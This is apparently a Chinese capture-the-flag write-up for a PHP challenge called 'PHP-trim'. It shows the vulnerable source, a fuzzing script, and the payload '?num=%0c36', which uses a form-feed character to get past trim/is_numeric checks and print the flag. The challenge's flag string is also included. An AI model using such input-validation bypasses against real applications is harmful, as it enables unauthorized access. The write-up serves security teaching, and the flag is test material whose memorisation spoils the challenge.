PHP-trim

[题目信息]:

题目名称题目难度
PHP-trim1

[题目考点]:

trim() 函数移除字符串两侧的空白字符或其他预定义字符。

[Flag格式]:

SangFor{dl9hFiITmhQNAJysCgigAskyCZ6kQaDc}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2059

[题目writeup]:

1、实验主页

2、源码分析

<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} 

分析代码逻辑,使用了自定义函数filter()对$num进行过滤,将0x,0,e等字符替换为了1。这意味着将无法使用16进制,8进制等方法进行绕过。

is_numeric函数来判断用户输入是否为数字,并且if条件里规定trim($num)移除字符串两侧的字符不能等于36,但后面的if需要等于36才能输出flag。

此时可以编写脚本查看哪些字符可以使用

<?php
for ($i = 0; $i <= 128; $i++) {
    $a = chr($i) . '36';
    if (trim($a) !== '36' && is_numeric($a)) {
        echo urlencode(chr($i)) . "\n";
    }
}

发现%0C,也就是\f分页符可以利用,不会被trim过滤掉,所以payload为

?num=%0c36

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值